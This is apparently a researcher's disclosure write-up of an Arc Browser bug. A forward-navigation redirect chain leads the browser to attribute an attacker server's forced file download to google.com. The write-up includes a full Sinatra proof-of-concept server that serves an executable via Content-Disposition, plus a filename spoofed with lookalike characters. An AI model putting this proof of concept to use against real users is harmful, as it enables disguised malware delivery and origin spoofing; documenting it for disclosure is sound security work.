How I Escalated a Navigation Bug Into Trusted-Origin File Downloads

## Introduction
While testing a modern browser, I noticed an unusual behavior when combining redirects with browser navigation features.

At first, it looked like a harmless quirk: the browser behaved strangely when using the Forward button. But then I asked myself:

“Could this lead to a file download that appears to come from a trusted site?”

The answer was yes — and that turned a minor bug into a critical finding.

— –

## Step 1 — Setting Up the Redirect Chain
I built a small Sinatra server that:
– Redirects the user once to /index.html.
– On the next navigation attempt, responds with a file download instead of a page.

This meant the attack flow required two visits:
1. First, to reach the trusted site (e.g., https://google.com).
2. Then, when the victim pressed the Forward button, the browser delivered a download instead of the expected page.

— –

## Step 2 — Triggering the File Download
The download was forced using Content-Disposition headers:

get '/data' do
 headers 'Cache-Control' => 'no-store',
 'Content-Type' => 'application/x-msdownload',
 'Content-Disposition' => 'attachment; filename=Urgent_Update.exe'
 File.binread('malware') # dummy executable
end

FULL CODE!

require 'sinatra'
set :bind, ARGV[0]
set :port, ARGV[1].to_i
$redirect = false
get '/' do
  $redirect = true
  headers 'Cache-Control' => 'no-store'
  redirect '/index.html'
end
get '/index.html' do
  headers 'Cache-Control' => 'no-store'
  if $redirect
    $redirect = false
    File.read('index.html')
  else
    redirect 'data'
  end
end
get '/data' do
  headers 'Cache-Control' => 'no-store',
          'Content-type' => 'application/x-msdownload',
          'Content-Disposition' => 'attachment; filename=downloadFrom https∶⧸⧸google.com.txt'
  File.binread('malware')
end

From the victim’s perspective:
– They browse to Google normally.
– Later, they use forward navigation.
– Suddenly, a file download begins.

— –

## Step 3 — Broken Attribution
Here’s the critical bug:
Arc attributed the download to google.com because that was the last trusted site in the navigation context.

In other words:
– URL bar: `https://google.com`
– Actual source: attacker-controlled server

This creates a strong illusion that the file came from Google itself.

— –

## Step 4 — Strengthening the Illusion With Filename Spoofing
By manipulating the filename inside the `Content-Disposition` header:

Content-Disposition: attachment; filename="downloadFrom https∶⧸⧸google.com.txt"

…the deception becomes almost perfect:
– Arc shows the origin as Google.
– The filename explicitly references Google.

To the user, there’s no reason to doubt the legitimacy of the download.

— –

## Why This Matters
Most modern browsers enforce strict rules to prevent this exact scenario:
– Normalizing malformed :// schemes.
– Correctly attributing downloads to their initiator domain.
– Blocking downloads triggered during ambiguous navigation.

Arc Browser bypasses these protections, leaving users vulnerable to **trusted-origin spoofing** during something as basic as forward navigation.

Impact:
– Deceptive downloads: Users believe the file originates from Google.
– Malware/phishing risk: Attackers can deliver executables disguised as legitimate updates.
– Erosion of trust: Download attribution — one of the browser’s most important guarantees — is broken.

— –

## Conclusion
What started as a strange navigation quirk escalated into a critical vulnerability:
– Automatic downloads triggered on forward navigation**
– Incorrect attribution to trusted origins**
– Filename spoofing to reinforce the deception

This shows how small browser inconsistencies can combine into high-impact security flaws when examined through an attacker’s lens.